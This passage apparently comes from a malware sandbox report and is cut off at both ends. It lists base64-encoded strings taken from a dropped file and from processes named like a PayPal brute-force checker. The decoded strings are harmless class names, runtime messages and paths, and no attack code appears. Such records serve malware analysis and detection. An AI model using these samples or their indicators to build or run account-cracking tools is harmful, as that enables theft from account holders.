File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01lc3NhZ2VUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01ldGhvZEVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vY2tFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X01vZGVsU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X09ic2VydmVyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhZ2VUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc0NsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc0Vycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1BhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1BvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1Byb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1BhcmFtc1RocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Bvb2xTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1ByZWRpY2F0ZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2NjZXNvclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2Nlc3NUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb2R1Y2VyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3BlcnR5RXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3RvdHlwZVNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Byb3h5RXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1F1ZXVlU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlYWRlclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlY29yZFNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5QWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5QWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5QmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5RGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5RmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5SXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5TWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5UGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5UHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5UmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5VG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ2lzdHJ5V29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ1Byb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ1JlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ1NlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlZ1dvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JlcG9zaXRvcnlTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Jlc29sdmVyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1JvbGVTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1J1bGVzRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NjaGVtYVNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcmlhbGl6ZXJFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1NlcnZpY2VXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1N5c3RlbVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1RhZ1NlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rlc3RzU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1Rva2VuaXplckVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1V0aWxzU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlckVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X1dyaXRlclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ZTQ3ZjRmNDMtZDg2My0xMWU3LTlkOGYtODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ZTQ3ZjRmNDQtZDg2My0xMWU3LTlkOGYtODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ZTQ3ZjRmNDctZDg2My0xMWU3LTlkOGYtODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YGxvY2FsIHN0YXRpYyBndWFyZCc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQn","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZSc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YGxvY2FsIHZmdGFibGUn","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QSBjbGFzcyBuYW1lZCAlcyBhbHJlYWR5IGV4aXN0cyVMaXN0IGRvZXMgbm90IGFsbG93IGR1cGxpY2F0ZXMgKCQwJXgpI0EgY29tcG9uZW50IG5hbWVkICVzIGFscmVhZHkgZXhpc3RzJVN0cmluZyBsaXN0IGRvZXMgbm90IGFsbG93IGR1cGxpY2F0ZXM=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWJsZVdlYkNhbUxpZ2h0cy5leGU=","type":"Unicode","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A14000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$7d","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$7e","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudEVycm9ySW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudEZpbHRlckNvbXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudFNlcnZpY2VMaWNlbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyQWRk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyQ2xvc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyRGV0YWlscw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyRW51bQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyT3Blbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyUmVtb3Zl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtQ2xvc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtQ29udmVydA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtT3Blbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtUHJlcGFyZUhlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtUmVzZXQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtU2l6ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtVW5wcmVwYXJlSGVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlclNwZWNpZmljYXRpb25MaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUFjY291bnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUFkdmlzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUFubm90YXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUF0dHI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUF1dGhlbnRpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUJyb2FkY2FzdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNhbGxiYWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNhbmRpZGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbGxlY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbXBvc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbmZpZ3VyYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbnRhaW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbnRleHQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNyZWF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUN1c3RvbWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURhdGFiYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURlc2NyaXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURpYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURpc3BhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUV2ZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUV4cG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUV4cHJlc3Npb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUZhY3Rvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUZpZWxk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUdldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUhlbHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUlkZW50aWZpZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUluZm8=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUluaXRpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUluc3RhbmNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUludGVyY2VwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUludGVycHJldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUludm9jYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1hcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1lc3NhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1ldGhvZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1vY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1vZGVs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU9yZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBhcmFt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBhcnNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBvb2w=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByZWRpY2F0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByaW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb2NjZXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb2Nlc3M=","type":"Ansi","source":"Dropped 